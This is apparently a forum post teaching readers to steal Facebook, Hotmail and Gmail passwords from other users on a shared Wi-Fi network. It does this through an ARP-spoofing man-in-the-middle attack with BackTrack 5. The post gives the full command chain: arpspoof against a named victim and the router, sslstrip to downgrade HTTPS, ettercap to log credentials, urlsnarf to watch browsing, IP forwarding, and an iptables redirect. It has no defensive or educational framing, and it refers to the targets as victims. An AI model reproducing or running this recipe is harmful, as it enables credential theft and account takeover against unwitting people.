🎭Hack Facebook/Hotmail/Gmail Password using BackTrack 5 (Man in the middle Attack)🎭

🎭Hack Facebook/Hotmail/Gmail Password using BackTrack 5 (Man in the middle Attack)🎭

➰Guys was playing around with BT-5 and found something very interesting and quick way to hack SSL password

I wont take long explaining. If you want to know the nitty gritty do the google

Requirements:💻

🔘1. One Laptop Install BT-5

🔘2.Working Wireless Lan Card and connected to any hotspot

🔘3. SSLStrip installted

🔘4. Etthercap installed

🔘5.urlsniffer installed

🔘6. aprspoof installed

🔘7. Basic knowledge of linux and network

Note: If you will try it using BackTrack-5 all will come pre-installed.....💻

🔘Step 1:

In the first step we have to make sure that we are connected to a Wifi network and scan the available online node by using any network scanning software

🔘Step 2:

One we know find the victim run this command and keep it running on the shell. This command will spoof the ARP request towards your PC

arpspoof -i wlan0 -t 192.168.2.149 192.168.2.1

Explanation: aprspoof -i Network interface card IP-OF-VICTIM ROUTER-IP-ADDRESS....💻

Where -i switch is to define the interface in my case I used wireless so its wlan0 if you are trying it over ethernet it would be your appropiate eth0 or eth1 devices if you have more then one network interface card...💻

🔘Step 3

Now open another shell and execute the sslstrip..

Note: If you are running BackTrack 5 then goto /pentest/web/sslstrip

./sslstrip -a -k -f

Keep this shell open and do not close

🔘Step 4:

ettercap -Tq -L etterlogs -i wlan0

Also do not close this shell and keep it open. this is the shell where you will actually see the password

🔘Step 5:

Open another shell and run this command

urlsnarf -v -i wlan0

This command will show you real time as your victim surf the internet

🔘Step 7:

Enable IP Forwarding on your linux box execute the below command

echo 1 > /proc/sys/net/ipv4/ip_forward

🔘Step 8:

As a final step we have to create this below rule into IP Tables

iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-ports 10000

🎭!n5!d3 h4(k3r...❗🎭


Once all is done you will start seeing victim internet browing in the window that you opened in Step 5. Be patient till you see the customer logging into a website. If he is already logged in you will not be able to get his password...
3nj0Y